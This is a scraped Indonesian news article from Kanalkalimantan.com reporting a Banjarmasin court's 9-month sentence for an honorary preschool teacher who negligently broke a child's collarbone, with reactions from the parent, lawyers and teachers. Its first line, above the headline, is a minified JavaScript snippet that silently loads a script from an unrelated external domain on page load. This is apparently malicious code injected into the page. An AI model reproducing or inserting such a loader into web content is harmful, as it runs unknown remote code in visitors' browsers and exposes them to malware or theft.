(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Guru Honorer PAUD di Banjarmasin Divonis 9 Bulan Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Majelis hakim Pengadilan Negeri (PN) Banjarmasin menjatuhkan vonis bersalah kepada DA, terdakwa kasus dugaan kekerasan terhadap anak PAUD di Banjarmasin, Rabu (7/8/2024) siang

Guru muda yang berstatus honorer tersebut dijatuhi hukuman lebih ringan dari tuntutan yaitu pidana selama 9 bulan penjara.

Oleh majelis hakim, DA dinyatakan terbukti secara sah dan meyakinkan bersalah sebagaimana dakwaan alternatif kedua penuntut umum pasal 360 ayat (1) KUHP, karena kelalaian menyebabkan luka berat.

Hakim menilai, terdakwa DA yang menarik tangan anak korban dengan maksud memindahkan posisinya, namun akibat kelalaian terdakwa menyebabkan anak korban mengalami cidera berat yaitu patah tulang selangka bahu.

Baca juga: Negara Rugi Rp6,2 Triliun Tiap Tahun Akibat Impor Tekstil Ilegal

“Menjatuhkan pidana kepada terdakwa oleh karena itu dengan pidana penjara selama 9 bulan,” bunyi vonis majelis hakim yang diketuai Suwandi SH MH didampingi dua hakim anggota.

Hakim menyebut satu hal yang memberatkan terdakwa, antara terdakwa dengan pihak keluarga anak korban tidak ada perdamaian.

Kemudian hal meringankan, terdakwa belum pernah dihukum dan masih muda serta memiliki masa depan yang masih panjang.

Vonis 9 bulan penjara tersebut lebih ringan dari tuntutan jaksa penuntut umum yang sebelumnya menuntut terdakwa dijatuhi pidana penjara 1 tahun 3 bulan atau 15 bulan.

Baca juga: Curi Honda Genio Tetangga, R Diringkus Polsek Banjarmasin Selatan

JPU sebelumnya menuntut dengan dakwaan pertama pasal 80 ayat (2) Undang-Undang Nomor 17 Tahun 2016 tentang penetapan Perppu Nomor 1 Tahun 2016 tentang Perubahan Kedua atas Undang-Undang Nomor 23 Tahun 2002 tentang Perlindungan Anak menjadi Undang-Undang jo Undang-Undang Nomor 35 Tahun 2014 tentang Perubahan atas Undang-Undang Nomor 23 Tahun 2002 tentang Perlindungan Anak.

Setelah pembacaan putusan, tedakwa DA yang mengikuti sidang secara online dari Lapas didampingi penasehat hukum Taufik SH belum menentukan sikap.

Pihak DA memilih untuk pikir-pikir terlebih dahulu sebelum memutuskan banding atau menerima putusan hakim.

“Kita akan konsultasikan dengan keluarga (terdakwa) dulu, apakah banding atau tidak,” kata Taufik.

Baca juga: Saidi Mansyur Beri Penghargaan untuk Anggota Linmas Tertua, Satpol PP Banjar Apel Gelar Pasukan Satlinmas

Begitu juga jaksa penuntut umum, Masrita SH akan memanfaatkan waktu selama 7 hari yang diberikan majelis hakim untuk pikir-pikir sebelum menentukan sikap terhadap putusan.

“Kami pikir-pikir,” ucapnya.

Sementara itu, orangtua anak korban, Rizka yang menyaksikan jalannya persidangan tak kuasa menahan air mata saat mendengarkan putusan majelis hakim.

Rizka hadir di ruang sidang PN Banjarmasin bersama sekitar 10 orang Anggota DPW Srikandi Pemuda Pancasila (PP) Kalsel.

Baca juga: Siapkan Pendaftaran Paslon, Kerja 4 Komisioner KPU Banjarbaru Ditinggal Rozy Maulana

“Alhamdulillah sudah terbukti bahwa terdakwa bersalah dan dijatuhi hukuman penjara,” kata Rizka kepada sejumlah awak media.

Sejak awal kasus ini mencuat, Rizka memang sering menceritakan perjalanan kasus yang menimpa anaknya itu melalui akun media sosial Instagram miliknya. Dia sering menulis dengan tagar #stopkekerasananak.

Rizka sendiri baru mengetahui kejadian sebenarnya tiga bulan pasca kejadian yang menimpa anaknya tersebut. Dirinya pernah mengunggah di media sosial hasil rontgen yang memperlihatkan tulang selangka bahu anaknya itu patah.

Di kubu lain, lebih dari 20 orang tenaga pendidik rekan seprofesi terdakwa juga turut berhadir menyaksikan sidang putusan hakim di PN Banjarmasin.

Sebelum sidang digelar, puluhan tenaga pendidik Kota Banjarmasin yang tergabung dalam Persatuan Guru Republik Indonesia (PGRI) ini sempat melakukan doa bersama di ruang tunggu sidang. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

5 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.